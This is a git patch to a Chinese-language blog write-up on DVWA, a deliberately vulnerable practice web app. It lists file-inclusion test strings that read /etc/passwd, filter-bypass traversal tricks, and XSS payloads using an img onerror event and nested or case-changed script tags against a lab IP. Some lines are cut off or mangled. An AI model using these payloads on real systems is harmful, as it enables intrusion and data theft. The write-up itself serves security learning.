From 640d4e150f62ffca4d2e89b574099a0339ca4af1 Mon Sep 17 00:00:00 2001 From: Cool-Y <1072916769@qq.com> Date: Wed, 24 Jul 2019 14:01:24 +0800 Subject: [PATCH] NEW --- source/_posts/web-dvwa.md | 36 +++++++++++++++++++----------------- source/_posts/获取固件.md | 2 +- 2 files changed, 20 insertions(+), 18 deletions(-) diff --git a/source/_posts/web-dvwa.md b/source/_posts/web-dvwa.md index fd0c2700..80c64207 100644 --- a/source/_posts/web-dvwa.md +++ b/source/_posts/web-dvwa.md @@ -276,21 +276,22 @@ $file = $_GET[ 'page' ]; ``` 文件包含漏洞的一般特征如下: - +``` ?page=a.php ?home=a.html ?file=content - +``` 几种经典的测试方法: - +``` ?file=../../../../../etc/passwdd ?page=file:///etc/passwd ?home=main.cgi ?page=http://www.a.com/1.php =http://1.1.1.1/../../../../dir/file.txt (通过多个../可以让目录回到根目录中然后再进入目标目录) +``` ## medium模式 增加对绝对路径http和相对路径的检查 @@ -301,9 +302,9 @@ $file = str_replace( array( "../", "..\"" ), "", $file ); ``` 但依然可以使用?page=file:///etc/passwd 以及重复字符过滤方法,构造url -1. 构造url为httphttp:// --> http -2. 构造url为httphttp://:// -->http:// -3. 构造url为..././ --> ../ +1. 构造url为 httphttp:// --> http +2. 构造url为 httphttp://:// -->http:// +3. 构造url为 ..././ --> ../ # 文件上传 ## easy模式 @@ -459,7 +460,7 @@ Surname: Smith 4.猜解表中的字段名 5.猜解数据 -``` +```php 基于DOM的XSS是一个特殊情况,反映了JavaScript隐藏在URL中并在呈现时由页面中的JavaScript拉出而不是在服务时嵌入页面中。这可能使其比其他攻击更隐蔽,并且正在阅读页面主体的WAF或其他保护措施看不到任何恶意内容。 查看页面源代码 -``` +```script ` 2. 方法2 或者就是用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件,构造连接(通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框,证明出来有xss) -`http://192.168.31.84:81/vulnerabilities/xss_d/?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(/xss/)%3E' +```http://192.168.31.84:81/vulnerabilities/xss_d/?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(/xss/)%3E``` # 反射型xss ## easy模式 @@ -610,13 +611,14 @@ http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27) $name = str_replace( ' -或者嵌套ipt>alert('xss') +改成大写就可以了```` +或者嵌套``ipt>alert('xss')`` 但对name审查没有这么严格,同样可以采用嵌套或大小写的方法: +``` ipt>alert('fuck') - +``` # 存储型xss @@ -630,7 +632,7 @@ str_replace这个函数是不区分大小写的,而且只替换一次 查看源码 trim是去除掉用户输入内容前后的空格。stripslashes是去除反斜杠,两个只会去除一个。mysqli_real_escap_string过滤掉内容中特殊字符,像x00,n,r,,',",x1a等,来预防数据库攻击。 -``` +```php " (大于)转换为 HTML 实体: * $name = str_replace( '